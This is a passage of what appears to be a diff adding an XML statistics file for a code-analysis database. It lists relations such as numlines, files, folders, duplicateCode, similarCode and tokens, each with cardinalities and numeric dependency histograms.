+<a>7</a> +<b>8</b> +<v>9231</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>6405</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>9266</v> +</b> +<b> +<a>11</a> +<b>14</b> +<v>10367</v> +</b> +<b> +<a>14</a> +<b>20</b> +<v>9186</v> +</b> +<b> +<a>20</a> +<b>489713</b> +<v>3453</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endColumn</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>68569</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>15919</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>7876</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>9221</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>8062</v> +</b> +<b> +<a>6</a> +<b>6458</b> +<v>8221</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endColumn</src> +<trg>beginLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6848</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>15273</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>24807</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>25343</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>10180</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>6269</v> +</b> +<b> +<a>7</a> +<b>9</b> +<v>10857</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>9251</v> +</b> +<b> +<a>11</a> +<b>1768</b> +<v>8841</v> +</b> +<b> +<a>1780</a> +<b>212575</b> +<v>199</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endColumn</src> +<trg>beginColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15842</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>27460</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>26707</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>18639</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>11518</v> +</b> +<b> +<a>6</a> +<b>8</b> +<v>10766</v> +</b> +<b> +<a>8</a> +<b>265</b> +<v>6936</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endColumn</src> +<trg>endLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6850</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>15271</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>24807</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>25343</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>10180</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>6269</v> +</b> +<b> +<a>7</a> +<b>9</b> +<v>10858</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>9252</v> +</b> +<b> +<a>11</a> +<b>1789</b> +<v>8841</v> +</b> +<b> +<a>1795</a> +<b>212360</b> +<v>197</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>numlines</name> +<cardinality>122044</cardinality> +<columnsizes> +<e> +<k>element_id</k> +<v>122044</v> +</e> +<e> +<k>num_lines</k> +<v>1136</v> +</e> +<e> +<k>num_code</k> +<v>939</v> +</e> +<e> +<k>num_comment</k> +<v>418</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>element_id</src> +<trg>num_lines</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>122044</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>element_id</src> +<trg>num_code</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>122044</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>element_id</src> +<trg>num_comment</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>122044</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num_lines</src> +<trg>element_id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>399</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>144</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>97</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>91</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>86</v> +</b> +<b> +<a>9</a> +<b>15</b> +<v>90</v> +</b> +<b> +<a>15</a> +<b>36</b> +<v>86</v> +</b> +<b> +<a>36</a> +<b>174</b> +<v>86</v> +</b> +<b> +<a>175</a> +<b>21589</b> +<v>57</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num_lines</src> +<trg>num_code</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>444</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>140</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>95</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>87</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>85</v> +</b> +<b> +<a>9</a> +<b>14</b> +<v>88</v> +</b> +<b> +<a>14</a> +<b>24</b> +<v>90</v> +</b> +<b> +<a>24</a> +<b>33</b> +<v>89</v> +</b> +<b> +<a>33</a> +<b>38</b> +<v>18</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num_lines</src> +<trg>num_comment</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>444</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>140</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>94</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>92</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>90</v> +</b> +<b> +<a>9</a> +<b>14</b> +<v>90</v> +</b> +<b> +<a>14</a> +<b>20</b> +<v>89</v> +</b> +<b> +<a>20</a> +<b>27</b> +<v>89</v> +</b> +<b> +<a>27</a> +<b>30</b> +<v>8</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num_code</src> +<trg>element_id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>317</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>125</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>67</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>61</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>67</v> +</b> +<b> +<a>8</a> +<b>12</b> +<v>73</v> +</b> +<b> +<a>12</a> +<b>26</b> +<v>72</v> +</b> +<b> +<a>26</a> +<b>69</b> +<v>71</v> +</b> +<b> +<a>69</a> +<b>1540</b> +<v>71</v> +</b> +<b> +<a>1747</a> +<b>22000</b> +<v>15</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num_code</src> +<trg>num_lines</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>349</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>118</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>77</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>76</v> +</b> +<b> +<a>6</a> +<b>10</b> +<v>84</v> +</b> +<b> +<a>10</a> +<b>19</b> +<v>78</v> +</b> +<b> +<a>19</a> +<b>31</b> +<v>79</v> +</b> +<b> +<a>31</a> +<b>44</b> +<v>73</v> +</b> +<b> +<a>44</a> +<b>52</b> +<v>5</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num_code</src> +<trg>num_comment</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>347</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>121</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>79</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>74</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>74</v> +</b> +<b> +<a>9</a> +<b>16</b> +<v>80</v> +</b> +<b> +<a>16</a> +<b>23</b> +<v>72</v> +</b> +<b> +<a>23</a> +<b>31</b> +<v>76</v> +</b> +<b> +<a>31</a> +<b>40</b> +<v>16</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num_comment</src> +<trg>element_id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>147</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>67</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>26</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>26</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>32</v> +</b> +<b> +<a>7</a> +<b>12</b> +<v>34</v> +</b> +<b> +<a>12</a> +<b>32</b> +<v>34</v> +</b> +<b> +<a>33</a> +<b>135</b> +<v>32</v> +</b> +<b> +<a>150</a> +<b>93795</b> +<v>20</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num_comment</src> +<trg>num_lines</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>171</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>57</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>32</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>24</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>33</v> +</b> +<b> +<a>8</a> +<b>18</b> +<v>35</v> +</b> +<b> +<a>19</a> +<b>47</b> +<v>32</v> +</b> +<b> +<a>52</a> +<b>253</b> +<v>33</v> +</b> +<b> +<a>362</a> +<b>363</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>num_comment</src> +<trg>num_code</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>174</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>54</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>33</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>22</v> +</b> +<b> +<a>5</a> +<b>8</b> +<v>33</v> +</b> +<b> +<a>8</a> +<b>18</b> +<v>36</v> +</b> +<b> +<a>19</a> +<b>47</b> +<v>32</v> +</b> +<b> +<a>51</a> +<b>230</b> +<v>32</v> +</b> +<b> +<a>232</a> +<b>346</b> +<v>2</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>files</name> +<key>id</key> +<cardinality>6457</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>6457</v> +</e> +<e> +<k>name</k> +<v>6457</v> +</e> +<e> +<k>simple</k> +<v>4188</v> +</e> +<e> +<k>ext</k> +<v>4</v> +</e> +<e> +<k>fromSource</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6457</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>simple</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6457</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>ext</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6457</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>fromSource</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6457</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6457</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>simple</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6457</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>ext</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6457</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>fromSource</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6457</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>simple</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3423</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>507</v> +</b> +<b> +<a>3</a> +<b>305</b> +<v>258</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>simple</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3423</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>507</v> +</b> +<b> +<a>3</a> +<b>305</b> +<v>258</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>simple</src> +<trg>ext</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>3960</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>228</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>simple</src> +<trg>fromSource</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4188</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>ext</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>21</a> +<b>22</b> +<v>1</v> +</b> +<b> +<a>480</a> +<b>481</b> +<v>1</v> +</b> +<b> +<a>756</a> +<b>757</b> +<v>1</v> +</b> +<b> +<a>5200</a> +<b>5201</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>ext</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>21</a> +<b>22</b> +<v>1</v> +</b> +<b> +<a>480</a> +<b>481</b> +<v>1</v> +</b> +<b> +<a>756</a> +<b>757</b> +<v>1</v> +</b> +<b> +<a>5200</a> +<b>5201</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>ext</src> +<trg>simple</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>21</a> +<b>22</b> +<v>1</v> +</b> +<b> +<a>118</a> +<b>119</b> +<v>1</v> +</b> +<b> +<a>428</a> +<b>429</b> +<v>1</v> +</b> +<b> +<a>3858</a> +<b>3859</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>ext</src> +<trg>fromSource</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fromSource</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>6457</a> +<b>6458</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fromSource</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>6457</a> +<b>6458</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fromSource</src> +<trg>simple</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>4188</a> +<b>4189</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>fromSource</src> +<trg>ext</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>4</a> +<b>5</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>folders</name> +<key>id</key> +<cardinality>1590</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>1590</v> +</e> +<e> +<k>name</k> +<v>1590</v> +</e> +<e> +<k>simple</k> +<v>645</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1590</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>simple</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1590</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1590</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>name</src> +<trg>simple</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>1590</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>simple</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>425</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>127</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>58</v> +</b> +<b> +<a>6</a> +<b>113</b> +<v>35</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>simple</src> +<trg>name</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>425</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>127</v> +</b> +<b> +<a>3</a> +<b>6</b> +<v>58</v> +</b> +<b> +<a>6</a> +<b>113</b> +<v>35</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>containerparent</name> +<key>child</key> +<cardinality>8046</cardinality> +<columnsizes> +<e> +<k>parent</k> +<v>1590</v> +</e> +<e> +<k>child</k> +<v>8046</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>parent</src> +<trg>child</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>525</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>326</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>207</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>128</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>138</v> +</b> +<b> +<a>7</a> +<b>11</b> +<v>132</v> +</b> +<b> +<a>11</a> +<b>53</b> +<v>120</v> +</b> +<b> +<a>60</a> +<b>335</b> +<v>14</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>child</src> +<trg>parent</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8046</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>duplicateCode</name> +<key>id</key> +<cardinality>6210</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>6210</v> +</e> +<e> +<k>relativePath</k> +<v>932</v> +</e> +<e> +<k>equivClass</k> +<v>2355</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>relativePath</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6210</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>equivClass</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6210</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>relativePath</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>377</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>182</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>92</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>78</v> +</b> +<b> +<a>5</a> +<b>9</b> +<v>84</v> +</b> +<b> +<a>9</a> +<b>18</b> +<v>70</v> +</b> +<b> +<a>18</a> +<b>914</b> +<v>49</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>relativePath</src> +<trg>equivClass</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>439</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>147</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>105</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>85</v> +</b> +<b> +<a>6</a> +<b>10</b> +<v>75</v> +</b> +<b> +<a>10</a> +<b>60</b> +<v>70</v> +</b> +<b> +<a>63</a> +<b>355</b> +<v>11</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>equivClass</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1669</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>311</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>166</v> +</b> +<b> +<a>5</a> +<b>9</b> +<v>183</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>20</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>equivClass</src> +<trg>relativePath</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>825</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1111</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>202</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>177</v> +</b> +<b> +<a>7</a> +<b>11</b> +<v>40</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>similarCode</name> +<key>id</key> +<cardinality>21595</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>21595</v> +</e> +<e> +<k>relativePath</k> +<v>1742</v> +</e> +<e> +<k>equivClass</k> +<v>7221</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>relativePath</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21595</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>equivClass</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>21595</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>relativePath</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>454</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>351</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>143</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>141</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>115</v> +</b> +<b> +<a>6</a> +<b>8</b> +<v>126</v> +</b> +<b> +<a>8</a> +<b>12</b> +<v>147</v> +</b> +<b> +<a>12</a> +<b>23</b> +<v>139</v> +</b> +<b> +<a>23</a> +<b>5898</b> +<v>126</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>relativePath</src> +<trg>equivClass</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>632</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>276</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>200</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>144</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>94</v> +</b> +<b> +<a>6</a> +<b>9</b> +<v>158</v> +</b> +<b> +<a>9</a> +<b>15</b> +<v>139</v> +</b> +<b> +<a>15</a> +<b>1799</b> +<v>99</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>equivClass</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>54</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>4290</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1200</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>662</v> +</b> +<b> +<a>5</a> +<b>7</b> +<v>583</v> +</b> +<b> +<a>7</a> +<b>11</b> +<v>432</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>equivClass</src> +<trg>relativePath</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4536</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>1858</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>611</v> +</b> +<b> +<a>5</a> +<b>11</b> +<v>216</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>tokens</name> +<cardinality>5806732</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>27805</v> +</e> +<e> +<k>offset</k> +<v>56799</v> +</e> +<e> +<k>beginLine</k> +<v>167308</v> +</e> +<e> +<k>beginColumn</k> +<v>1853</v> +</e> +<e> +<k>endLine</k> +<v>167308</v> +</e> +<e> +<k>endColumn</k> +<v>1875</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>offset</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>100</a> +<b>101</b> +<v>2031</v> +</b> +<b> +<a>101</a> +<b>102</b> +<v>1683</v> +</b> +<b> +<a>102</a> +<b>103</b> +<v>1387</v> +</b> +<b> +<a>103</a> +<b>105</b> +<v>2060</v> +</b> +<b> +<a>105</a> +<b>108</b> +<v>2278</v> +</b> +<b> +<a>108</a> +<b>111</b> +<v>2079</v> +</b> +<b> +<a>111</a> +<b>116</b> +<v>2106</v> +</b> +<b> +<a>116</a> +<b>124</b> +<v>2280</v> +</b> +<b> +<a>124</a> +<b>135</b> +<v>2235</v> +</b> +<b> +<a>135</a> +<b>152</b> +<v>2091</v> +</b> +<b> +<a>152</a> +<b>180</b> +<v>2104</v> +</b> +<b> +<a>180</a> +<b>221</b> +<v>2095</v> +</b> +<b> +<a>221</a> +<b>380</b> +<v>2088</v> +</b> +<b> +<a>381</a> +<b>56800</b> +<v>1288</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>beginLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>10</b> +<v>2063</v> +</b> +<b> +<a>10</a> +<b>12</b> +<v>1754</v> +</b> +<b> +<a>12</a> +<b>14</b> +<v>2423</v> +</b> +<b> +<a>14</a> +<b>15</b> +<v>1299</v> +</b> +<b> +<a>15</a> +<b>16</b> +<v>1542</v> +</b> +<b> +<a>16</a> +<b>17</b> +<v>1745</v> +</b> +<b> +<a>17</a> +<b>18</b> +<v>1470</v> +</b> +<b> +<a>18</a> +<b>19</b> +<v>1471</v> +</b> +<b> +<a>19</a> +<b>21</b> +<v>2512</v> +</b> +<b> +<a>21</a> +<b>23</b> +<v>2101</v> +</b> +<b> +<a>23</a> +<b>26</b> +<v>2365</v> +</b> +<b> +<a>26</a> +<b>30</b> +<v>2157</v> +</b> +<b> +<a>30</a> +<b>39</b> +<v>2231</v> +</b> +<b> +<a>39</a> +<b>102</b> +<v>2089</v> +</b> +<b> +<a>102</a> +<b>11362</b> +<v>583</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>beginColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>4</a> +<b>20</b> +<v>2045</v> +</b> +<b> +<a>20</a> +<b>23</b> +<v>2118</v> +</b> +<b> +<a>23</a> +<b>27</b> +<v>2074</v> +</b> +<b> +<a>27</a> +<b>32</b> +<v>2493</v> +</b> +<b> +<a>32</a> +<b>37</b> +<v>2166</v> +</b> +<b> +<a>37</a> +<b>42</b> +<v>2474</v> +</b> +<b> +<a>42</a> +<b>46</b> +<v>2394</v> +</b> +<b> +<a>46</a> +<b>49</b> +<v>2000</v> +</b> +<b> +<a>49</a> +<b>52</b> +<v>2047</v> +</b> +<b> +<a>52</a> +<b>56</b> +<v>2169</v> +</b> +<b> +<a>56</a> +<b>62</b> +<v>2317</v> +</b> +<b> +<a>62</a> +<b>73</b> +<v>2113</v> +</b> +<b> +<a>73</a> +<b>528</b> +<v>1395</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>endLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>2</a> +<b>10</b> +<v>2059</v> +</b> +<b> +<a>10</a> +<b>12</b> +<v>1756</v> +</b> +<b> +<a>12</a> +<b>14</b> +<v>2425</v> +</b> +<b> +<a>14</a> +<b>15</b> +<v>1299</v> +</b> +<b> +<a>15</a> +<b>16</b> +<v>1519</v> +</b> +<b> +<a>16</a> +<b>17</b> +<v>1758</v> +</b> +<b> +<a>17</a> +<b>18</b> +<v>1476</v> +</b> +<b> +<a>18</a> +<b>19</b> +<v>1472</v> +</b> +<b> +<a>19</a> +<b>21</b> +<v>2515</v> +</b> +<b> +<a>21</a> +<b>23</b> +<v>2101</v> +</b> +<b> +<a>23</a> +<b>26</b> +<v>2362</v> +</b> +<b> +<a>26</a> +<b>30</b> +<v>2158</v> +</b> +<b> +<a>30</a> +<b>39</b> +<v>2225</v> +</b> +<b> +<a>39</a> +<b>101</b> +<v>2089</v> +</b> +<b> +<a>101</a> +<b>11362</b> +<v>591</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>endColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>4</a> +<b>21</b> +<v>2155</v> +</b> +<b> +<a>21</a> +<b>24</b> +<v>2138</v> +</b> +<b> +<a>24</a> +<b>30</b> +<v>2470</v> +</b> +<b> 